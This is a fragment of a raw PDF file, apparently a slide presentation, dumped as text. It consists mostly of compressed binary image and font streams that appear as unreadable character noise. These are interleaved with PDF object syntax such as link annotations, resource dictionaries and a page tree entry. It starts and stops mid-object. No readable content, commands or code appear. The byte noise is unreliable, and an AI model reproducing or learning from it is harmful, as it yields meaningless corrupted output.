CəІITHhrjI>b$jr7t }z5(<8Z}آSnQ%[Tu\={VVf{(r+AI YGj\}^Wǣ]M'kU"ZϰU5wMz3C(@`nt|,'-!b1(?_r>xD)~qϕ=kZTGX1^}osCB|G\t9 ̺8itx7O@IU:s^YM/ 5xnn JAcB,8=2}rgckGOo_Hү]-u%u*18w@5f?sjC).׏-u'se.IB&&Nk)*9mj'ZQZeJ%!wo$&.1%=㠵V\lG)ŇmyٙjGEq0(FS3,hHwHha N hU4dtZM2VP+&tF$ưrRV E,+p]1X,a9:wH@w> stream xAoPEa$ H?VKj0q;|*Uaccӟ7pعo^= ztf}kG<8lx?[ֻ^?`͵[k.ݟ׉?Kށ:Ca^Ljfs_ݴ=0r>}oX4Îu7v~>2n}4ns}hƫ._om!Ǫ endstream endobj 418 0 obj 2988 endobj 419 0 obj << /Length 453 0 R /Type /XObject /Subtype /Image /Width 160 /Height 148 /ColorSpace /DeviceGray /BitsPerComponent 8 /Filter /FlateDecode >> stream xOZwp Ahh  OjuYfZ2kS]:ƠM}0sdSi]YvEptf'Ym1'&;*E@8y -V- VEI*XQiA>ЉjhEIo0Vf0cMUF^ Ǖ9 ffw9.t96deRB=5LL:bavr|'v>E(^= (,/-~ԭZz Mi VwBgbtWgkYFÓݛˢ6OCs׍;sfwəߺt[+N{[&=}rl}ǃ]͡36c‹&wd:[ռ姕o?)O2#}c3fgW[뫋߻^k֨+|輪N e=>{U}Xbbxvw{ޯm'4ծ+/vrOG}݇|q ȕ` N~  WC8J~H0'?\ @+!@r%?$Aq ȕ` N~  WC8J~H0'?\ @+!@r%?$Aq ȕ` N~  WC8J~H0'?\ @+!@r%?$AR|AiQf[쿁co~~UO)Q>eHO׏~~O%j\f3 7SÍ1~8g֯/Ֆ~6'Ac|c(XQU֏cُy؏%{~QBEUYM g :eB?0`~B#o R_ endstream endobj 420 0 obj 704 endobj 421 0 obj 792 endobj 422 0 obj << /Length 454 0 R /Length1 28812 /Filter /FlateDecode >> stream xy`T?~νwdf2Kf,Yf&mB $  hWbEQԂ-غVZMp#3Ϲ3 X$9{y=y%k5f.NŒ˗gW c}W^ݣhi_߿zyh:!%f9?%ُO˟ag9@"j!Z}b$&<^B Ə vR8kwr7)9)FHDRRIĄO!n^~)$<1s#}BlQ@݄ h αOv6 VKA~-YOC:~."?3  ‘ Sd\Я0yfϨ\M=hAeg9:}+nCj+` ݚ}"*Y9)ܐ݊;+=d'zF9ۗ} cu;yh(ʳ HO~~l4Cv;ڏhiM~MЩm! eT0 OyNrנi"GV3<1ZKt*7n~+ ܈YG^1 Jt&Koѷ[7dǏm!ҍ݄zU~(x@12?O.|]]0*vPQ iF 0ϑd7x};;;BLm[ef>;̠8G0rw_4H+}9G3{w TW2O2CclW4o)F%?!OvaFϡŴ-JoOпqw>W'pLwleJNH?_pOEǸyۂ]%>%< Y7~~-.SΪlQ-|7I t9l◣Oo7O!!"L  >Q)f)(;d*ds֏rh]=z.vyN!w|kGAI?st?FFn&w+gH)w1qEws;ȟ@/P>vOӻ1K/g#ѷzJVreW0@A^dp?W~zq[巿.!h=< u/@.Ԟ)5G9<Ž> xܻ |2O]J"-\BTCvP<ϒg(i=2|U'OAQ!/RN%9 3VQfRr({.yK?"ɇNɮւddb i[I~ڦH٤RRŵe9EJQ( B+ ~)<.|[!=vaŧ Фs;QDfvfقL&s2sG2g~gzG_>o~ zjׯo0|/8{N͚7ۜyn;( {1.oAIt* 9IFCn4hl % H;μ9O!k`HO8H̴/e磍2<ŽIH+0?$_lO+gIonrת0 (Gʞ92:[3Ot΢ ϛ;Ύ3R&66LOTWU&*hyYiI$ >r: 6k,NQ (ӑ޴ Ng%8i?NMvݷUSBRSՔkRD1kП>05]]S]\%|`A ;Ӵߚv[{ctNlYvEJ`vZ8q;Gcښvq+íK;]:tcirapiMQ iѤ-iICoxHF˂˖(/Aisx =8s--6}olu\g7nOo;wY.{ލӀN u$p٫^jyԟ/xi/ĵ1M\t8oQ0N]Kmso_Ƕ\on7rt\9Ig%х~<ɢ ^dKO /^ǯ2 %iMKFGWҴ",O {po>$FɸȈctX9]Z0xIq2z;}snjL6w Id).R Ѯ4ˮbϮ ]7) :2o7M"ˇ4͍X^R J{S/\(]71袳hPqx,KH8È 6 oY;@pawc/rv5wCFp0+m8-蟶w㒡Ҡ_ nyV'9&ÝvgbQđ)ۃsKmޢA(-S p-IP%l`","%RuB8Rq9F%ĩy#:[<4kixi8DRMM *ks8`\$~~iIA!~a?H^BX^*Pꕳ;X\\tXNG" s6͹N}6j%ZCD:Q>\UW&I2:KŸ奮VR-꩞6XJ%zn#[:=z{//;H77+7/ZHڮ6Nȝk6JuyᙵkӵkejOoKK/ CFm;QdpT`~U`i3g3~RIMn6dZ>5zzR~*X`|] q)Sx(Izi~%>fvaH@k:thwH7IYsOٳx&kŠ'K:_P3=T2!nZNE-g ⲩߴWţ'FdqVEt񆗩 ]ER ZW 0紺^g;T$zmR5Eܵ (L ON#yHΰ6xo/r.uXC8V5{wӞ\+FDFUz̴ư%(þM爒E g@jQj6!qځeH҅.fC%b%ႫXgdWКsEo7AΞuջ!pIy/0EG0E^4EE ZֺYvAlW!;jjfړ2hec<H3<)%3#LwM?y_a.t!m8nP[l|6#ab!L:Kִj-jQ4~8Ozc^- rG\֬0{]I YxNV=]7;}Wvff]tyo%e3- K:2v/xۉV[2LtF-!MPnӨlVi554Qx Uu|gʔ<=`ӭg+8E tl̿6ux6^YVVD()BJe$J}OHDT HVoY<{Fh%gg;:Zӎ{5WYb]tk[mj~/[܊G͝?ӟ~x?se̺Ͻ9>c'P\g_*џ2}SڠMI!!Oj[tQjHUa`D^ݠow*FOt:ҽJ1~bU7n~!,iL03L\CcQWC!̚Bb`& ɝD!WU\:V UcUؐMTezY:9`= r!2+KT>xY CCC*ׂ!k["Z0 Ø{|!f6Qh YVӓɀ&7r,It9==%?4!Sk7~y]̼,Pf^EAeCU& BS5H/eA`(DXȚB4^!gxLFLDn8p榳(c@a j,XM !=L8ĵ:81: J16!_MfP#=P^Asdq0y[oRkEFp\ҹ}DuAןF 3l DCI:LI0A0h7|{s\Pf.X~8S<+&o1,BF+'sP1tUvl"-#sDԞb4đ2OB0'&+h6l1m)x VӪ+iӫ%:E; "Suzixun.%9ՁMaLaԩ(5DD1DJ9DM$6ea8)U7TȴfŸeOf8r7xzށ?n?nG̱"/-_\]2DlW1Ӻb\ZrJ.. }cƆTcMAA%7<1'C;jY.,E$I-sk}EK-ɸ-Ᏻ)4KfXyG**ԎsLH(BQQ %+ Łhot GqadcķHQE#f"5W2j3!cbUg _WP#5&ZeEtUCUZ Kڲ7W&=e[]SU)\!ZEtׇh'"^B.r,X(=q?Ϝ ba]J@L{eYyc&W̞OjWn[״ &_3f&/67t5\#&MC%bN^y:tJp-O%#&$@RŔ3y Etr<>eh'aaSp-ZKW$4M 9hF.E֔I_5u5yJ!{5Grj6~`&,qAm\Ҙtr94ҟ, xG'+quyy5зJj|Dí#ZY]ZZM%?:QUq7I2S9BOF/ H%ArM72ŭxlknzAê3e'Fy{9$_M%ݴR^n \5¼%3M R;r$5ҝY0Ö@_/w7ʁ.n-U|,qYΉSh#t;H44$BU.E/P\z?[v?:6ԗ2[7Rd=WwSN|jԌH蓤H-}Ԍ-z+ڋ&DڬI?ʥ&Z ( %DQ0PK17&5a5Xcdr|48F)fϕQߝ+8/;mBL0Ě]jS8A /q~*Pk$)VH,  ʋnFAĎĄdBUlY%V9 {oDŸϽ/+DcXW~*i2XL~$_U4 ]y/ƬQAe &[G3/Nl4#Qj>a;P=*AJw.`V̱hn&Gbk٫z[0/Zt1?C"ǬY盵'>[e P9?dtoX<]ee_zU! WP9ؔY9KJ=@c5_ef0fJi4Z=Kljz_H$8>G>|V~Zyڟ B&ȽBHj# nI(vKڈXv&qc0 lr8 LҀVcCj%*QOIթRU2q0ڔ#a⅒0}~̞ک}zH遷ds27?alkG"EQWY?A4Hb-W([1I}iP(хDo@(ǮC⊃ ¡i`*ix*jfGb¼VX͘eO24貙tKK3G?PqAe40{S3UU6sZf5,=e]:}O=%ORBS6:->ṛ!rQ3ڐ(F 6S$gg0љ$ު0j(PA f7|~'bs͗\>C`{ ĬǔMyCrv@%!ǜ#2֐;%FK#15.+u2/H6 >~[/AYNd-asw2?g/t ~s>vn)w07wXaf/j8\u=H#UUY=3LOx_ !! Y_t-@<,(.VZ|_yzSr'~*hS)9%K.mmxkΣR𺂐Z#v@}PW`J]2y0 xrg2D|wa@(#?͛0 A`5UB@yAG;Rr>3rj# 4 'L `-pgɉ#Bɡ_X c 66"g ^Jd{-A" tmb!+yu2nw S "gՙEqȩu2Bx:r Jܱe7|@So ]rCΥUXiQwմ_~β-\sŮ#" PCgI]w G(g-5 R^D0BcӰ,G8s1͋i`T@+d/\~ۀ]7dVfElD 4!e,Jt:JҴLᖩ$ZyR1D*p%aJ~h[ψ, O*>/7>MQn7i#(c@0*+R,dP|oZyӳqyId6Qj$2Q7:ڂcŸ *b6SOTauY1ȱ&?wo*!zhDo5=`b=,Jr̤br|eX[1˿>:x`ت2D/! =tb@+O}ed&*NDA Jك}g.X-ٍ`y XWJ|c Xgq}gXo1Nbl tAn% Fg³۠:vV@\pE &,ǹ1*xMlq ȩM}xY= &JA?q y1Zbk򏔔G(co5\m|޳l/MT{dC؟tVJ*I[hѼ@bř jUO0^2VT $/Aκ$[E,4߃4/y: nl!S@lT#Tˌ{Lg*Ó;VI̹Nбy=5ir(qAes:z_Svr{27-&o#cT9niX ~-]"7|OC˻:?t*7g)8b;-|x/'ʣό9.-zBIO OTp+˵/,+GȦ2'a|5%$lBn>u_ͫw㌇0m(BSXl}\=h9oۍmUPB,],`kUNEV ݜ,wR~%?c7/\oFn.?ާy :ĨDhhDZҭph\sw#%J63J{-Ubg/J}{F"=Wtsrk(N:zTeu ` #KJ/~!UKNe_z3o2#0QLj ?1k݈7Sm[S[Z E# ")E}NU,8 G*#A*㿥Xbx *bE>90WD Kл,%qUDhMtI88/Ly3mͲY~G'j6$p'jͳ]Vg--3ꆰm#`t-SZ;ս`kfخjŇ,LI@@pe1Ⱦ&f-]u)K Wn)Qx rUV,-&ETxsfY4\EDUd)f3$ D0ų "Kn hd^ y}s{R{um+3ɲ! _ڸ_IIEtZV>PxΊTyG^Q'U'f-U)TU]ie]lZB~ ֢Dz2lQ&H0TLLKmz+_kBUqJK-;*>aPk=ʛZ;Z9_+mP*%[knnRBAo< `ѾҖ: ɳ2_2X?,*E K|RCB|輞پMe _4`mszG_|%$aE#Q–J>uf0V, U9at9?WVɊ&#V"%SY;3`?ÉJº]˟(69%Ng."1b{jSm,V3:fyBta2&38bT؊ ePpؒKV~jMk}ot^zu=2[* N&bh `, G}3VDSQQsh5SҲQrY\3.b2w[8GO0٠S/OEaRsR0hc+i@p(gG<^2۫W5mo=l=nՊ8N XVM1;ߣ뀨K@%9";EK'P.p B^ 9}ֲl\ԺWODUf}d9$'4xGOZ\MRO㉵7"TN蝬$SZ$ U斤ɟJ ncќM Oz_džMƄiwj?`y %ʯMŦ;L3GLL%=RJ@2J6 eRr$>3譧q68}oy>ݠ~SG;t=Mut Θ`4VXHI :   b ee1 g+>e,V~ q^)Llb5PVC|%ZV"0)qq3R oėQo<D-sw׋F7 KKFhi2W%Eu#%)g&ઋVL(Ŧ:CvHm@E!-g%gk ݵ0)r3ɵkM5%9n,a}|}U?YCSE7l &h;XU.̥L~>Aʻei5C&gIolAKT׼#s9(JOh /yD٤OS&?8Z~ٞ2'(D^~ <q!61|%%5L85lNfx9iJrV`bW’nQA@ocnI6m0>`W2}ǽ<#xzMUɦ9M1&hJ֑u{LM&6ktɘ4 Ky%!Ϙ>#5}En iC]~_7$,5a$)sʒ*HYSa{,==d2+q9S̭ō14meX]9@,ձe6`z=? MQ̟nbb3_CiΈ{=p5`mDَ8cz=Fy>]GqjQ c !7TRL(2e}wzurr;S2\Rg',B2>C#ZFtj+)IC` Z}u>L\uu*|idR64xѨY.rj-o9h&h۪%00URgw`O7-sINÀCQعu9. $|yp!_ xp jz|VNmN #x5No156Dq9m~Au~mŎG.Ң{z}C~sz\t!mϏ|?*ήsgD[g/_97>oYڸ!ķ *8h3gg]}هoDHհ⫼m |2 "n.㸀,'&7 $|i ݆zoj|G*WwvEA|X"O*CgMn35C[n=stL>)mr648?"e؆Gb @+7O}8wpcέ&WxʯH'0HH(+4<*Ey3`#?`uhQ<3V8jpջ,Nhl>8ʟĻmS l<P͉A^`CcdJ'H ;Ν~D `h0+@nlcgu2gϫ<"ȭt3,]|~K>"_S~ai-X q9|^'[yrt_/_u"=foY$R< rnhSh̙(oONx^~ قv` A*J(q}\y06m&H? :p=4 A `~m#zwA[m9Ń2jG`4oA-P ^OA'Gz495G!||bV'|L>:bT6+LKpT(B+R !>Ȏ1L@8_j\%w/sKx7y~`U|{pZ[1{ +2>Ve o;ŷNad7GoUz]8=5` ;4Ľ6ٺ{^sݪ8kVmq>>S=>&§JaRjJR| ~_W b۔=/. pM(>G㜟i%R ~4t\چ4-#îbD*%V 0ϳ3R!>Dx|V0>`i%@t,n<ͽ=rsq|ܻ&Q]n|;*:$[Fs,3 xmHH%@/l`EJ)4]ؔ[ p-:0:*WgQZX R>WŀK.Ù>X.>>GpGp8~VV>upG88dAI;oGh]nv.ߎ~;ooGhc~;oGrrh7FF߈~~#oDhQn7Fm'gQF$  H@$d HA2$  h?h?!?,?0Fha?0Frhauѵܳ@j +dAT>sJgX,<|Kgxxd<}hxd<}y(0<}Nxd<}\!GB2r{OOxzxzd<=͛ EzdLL2``1uS0uS::dLL!cQtxRe6)HG 8R2p#)G 8R#)HGJƑrG8# HGBƑp$#!HG8q$# H8C0p 0p 8c8cX1 1 2aaq 0p 0]O䮣.p757GWg3!-&pL%"OJ/apE1#.[Ehs\NS ϸ Ϻϼ ϾO؆'m7+|q5ߞӞ8NiL2sޔ蕎iܙל:ӏ_9G>?+C\/K(7(˨ߕRe'Dg5-NpnC+ ,;u_7Gk]IT$ ڲL]RD-Ճ]RPtPJSg,{'D(wzN?pUﯮ}Gj 2UoTGf֨ɻ}gL3tӷ㭗XBiy F %T|R:29uRT;mxD_(x=PhKPAR ΂0dHJ MIْZx7zV&bF,4S 1AZrʑ`x]`ZϹs endstream endobj 423 0 obj << /Length 455 0 R /Length1 3008 /Filter /FlateDecode >> stream xVml[~ϹGbǾCcDZ;iHHB {M*RF:*n&M4 !J ȤIH&m4$i@%Rs]Ħ]=sy{^bD䤓$Qqnyv c ,";zxY {qӇ?8#2E̟,.|7"GAtuE}NXl'ܬt֜}sy*`? [ybvyA{_1 aoN->ʙ<1$ p&cod\=D> ;VFL2QNq:-q P ȶc?,X5]'IK)d=@ hI)e*ŧRQ*Wieqvjwv%2f֎6m;)WoFw};⹨JH #WBtd "d>%V~N'tykL@0VZGquo](O.`Ktf)B 3ʿD'E!p0@#Na02pxx|tQ`'0`Y88L6)L 9i^ȏ\Uv. `q,ht̽ӟHw"Օر'Iez 3L76z߀q-?G#űiW~` c^RIBBnBD|o Lm&[A3296&sGe#4dFE@C @ChH  ,ҐEHCid9ɎB[Zjɑ$/QZ)]K#MzHJK3> *L_Pf8} nZJUS ]|m( !;CzH$ ԕ*~o ֈOH=|ƺ"$[ws׺Ж^[ z^6f{h?OG; ?j5*aWZh|qỉ)?1#_ӯ-{V{|sF917.3mA>LNr&EQ aTs'+C8QT1a{`)ԍ"^c%F뢏7 ~0lݍ Shk|D]ڸXA26nb4H:0^GqXUW, endstream endobj 424 0 obj << /Length 456 0 R /Length1 10824 /Filter /FlateDecode >> stream xZkpywAk}`"@@(ѤD LI_"ʊlz؊iljN2V:(QSwt,uftR8%&u,yҩݼjgZJiŞNf?!`v;w/PB&2]3%z?, Ot=>Ю̡wj>E]쮃{8DH@>$^A{f?CKP??qpTɽ0e)cDBFͅOQv!^CiqdD`|I񿛬G[KW=ۖ58tE%wO=Strgzz%ic\~t-Z0U>E;YGnbjrjXrvdl:iSǒ4r-=g7*|hML=DiMœ]2I59:21NZtMЏ1uzeCJ>1RBGqC ) iBOoR}! π.ȧasw0 .uc4`D <68apW{+ѥsŀj<2Jpop"f^kߋ{[fO4 q@nN`DOper \XTʉۜ )`p*p85} 'HQ8 .u@ǁip \NQy4m^)p8 .u N;A<螯T{iCO\DڊFG *s1cL4:|_CR9Hx`hCk#CrJGW:xWbmKgǟzid`h0¸Hqϒ4azXM56k-p)q۝bQD-e7d2ZZ9N9PQw[^zv rVqt@?:Hs^w̳]({ =#tPG"B]Dhu.c&k(@ۂ:و;[&: A6lz-FHIp# n$$ۡ%_#%_|qF,^f#C!(怋e>`IO:StNҩC:uH\K:DDc0$hӃ:Uv?{>Ȍ=8u+Óq̽ڽ3#m$?%dLkn 8uB_:/^C_RrU!<ȸ5GV*8plͱ5pl 83ل{6Ulb #bWZT:Z Qf2Y_au4GJrӦEh;MТ Z4A&hѴi-EhMТ Z4A&h-nĢ2-4Af&($˗xU4{2+Վ =RqPsаzYnOTj}cv<-*n+jxu†Izs wq@a;V!;|EMa֬/5]!\a%QDɲ+-(0C49| Yް.L( n$ez/w:}G݈vml5^koVG=~]&=Ld[mi| >cetHxt9r.-܋r/\9+$> π(=@zJQ =Ɔ-2,Ռ?.v!xDG!xDގN-諽 X[U(JzEQhaPϮ|f^\j\Ji*d$ͪ6 \-MmЛA@ڠiHr^10a\@9ˈeD2"x >#^6`}i[[ =%+2 .6UflfpYWhdYFl,@# >7S>Up .klsdr,[OE^bb&AʙaAg]a-YZ]Z[Ip[Ԥ∥KtEy1ǞD:ҎRsl'.PG\s@*{W^YТ?IP7yL,!bS Y+1 ce"Kwi`m`ϑ &MboM7$8$p\k{#q$p\+~,L($Ŏ HH XO "*`*`*`ҍX,\f#zj%jZ[ۗ쪈űuߪXUctxΈ.~7V%S\n@)9YJ#ZWf yhRdRXT'Dq:W3q"J!-******N>AAپC ېe-*3T[ 5f19De~q2Eq]Ysꍚ;o )Z+dw"tJűP,wpBO?팖1]V)Ka!?gӊx8^.U$xjl1_ ˑ7i=^Fwet[^Dd#lYbq`X^C fn?cNp 9W \Ac3oM+hp 4vu/vT-?L:rD{՛z;&vSQEijR{o\J]+q-0AܙbGL&%S9BX~͢O 0v%7زbf.206TɺX:kUb{}Ԑz#N1A=HGߍMpmw&b\.6+] )\A?/'Ze(%n>Z CƘ^,&w!&0FL!&샿o>惿}vLor"a4\> Op4\>DڼυBi,'X52GjڂZ8?T1\ v.pNi.8 c.8 c.8ҍXFHYiA椀56 /( Y*BԶyXMQ>?ڟ][5sWR0 u9ޝOTZJ;С'h*E>#t#pdZ#n%v'!an8 ^$`lF `F `F `F 60J0J0J0J0jF,F-tQXIŽl.8՞tk GPxQ!* $!* *RS$?;~C%5X#P,Y}8_k9?=?ݶhi4 N(}H%YCMs<}HDDt)a{o=CRth#6o׹Εγj<~w"2p,LpV6z!_G")?GG0> >> endobj 283 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 284 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 285 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 286 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 287 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 288 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 289 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 290 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 291 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 292 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 293 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 294 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 295 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 296 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 297 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 298 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 299 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 300 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 301 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 302 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 303 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 304 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 305 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 306 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 307 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [182.753 -0.996 291.642 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 280 0 obj << /D [309 0 R /XYZ 334.488 1.245 null] >> endobj 312 0 obj << /D [309 0 R /XYZ 334.488 1.245 null] >> endobj 308 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F61 311 0 R /F39 87 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Im7 118 0 R /Im8 281 0 R >> /ProcSet [ /PDF /Text ] >> endobj 489 0 obj << /Length 1812 /Filter /FlateDecode >> stream xZ[o[7 ~^:Qѥo+\={' ͥKRvڡ+DR$gBWul+(atB{-A;q=BneP21[zq%n5( :եIrةRC=R_eg'1 v~y;_kӤS4N.Цr 1Ni;^J JK!ЉMvQEo8'Sq($ܭ,y(t%1cb`gcAp^^2[Sr&s@O &MKiϭI P\wJ$Yl-#u6>A/"өHr/Jiq<n hprsY;<(w؋DUާ-9ae!I1ފeҞm2gnA%fV<(?Dg9[wl:S޳,PJX8zBrYD"\pvYtNPolLQeI C3;ԴQF!UEDCkN%mY'U3E`R)hS:n[0plTUfLj^ &(Z-ڨҒ .xvbTE2y3 sN?`7.w9R_'~Oo/:Eԅ$qC"'0Z tRiZUԟZ&N>`t=&WYk?di's- rӬF毥nB5:'&s-g||=]f^)lɔ3%tӓ /7i n?kI<]} |?umRzo]VRȅ,)m`[R{R)! b^JqBTa/<.yG.Ɍ}\5_f+1Y X%*!{&8G'3onnX?r#Q9'Z}|o&P޺Iz/Mjalea Б=xFg/""r!zqU\XVT09=<'NΨ0;O ~pa|2?3BqH\巋dLmJ'#y=$S¸Hc fHnˑ v@X9t :%nUFA]k#4+_ > /Parent 491 0 R /Annots [ 461 0 R 462 0 R 463 0 R 464 0 R 465 0 R 466 0 R 467 0 R 468 0 R 469 0 R 470 0 R 471 0 R 472 0 R 473 0 R 474 0 R 475 0 R 476 0 R 477 0 R 478 0 R 479 0 R 480 0 R 481 0 R 482 0 R 483 0 R 484 0 R 485 0 R 457 0 R 458 0 R 459 0 R 460 0 R 486 0 R ] >> endobj 461 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 462 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 463 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 464 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation8) >> >> endobj 465 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 466 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 467 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 468 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation8) >> >> endobj 469 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 470 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 471 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 472 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 473 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 474 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 475 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 476 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 477 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 478 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 479 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 480 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 481 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 482 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 483 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) 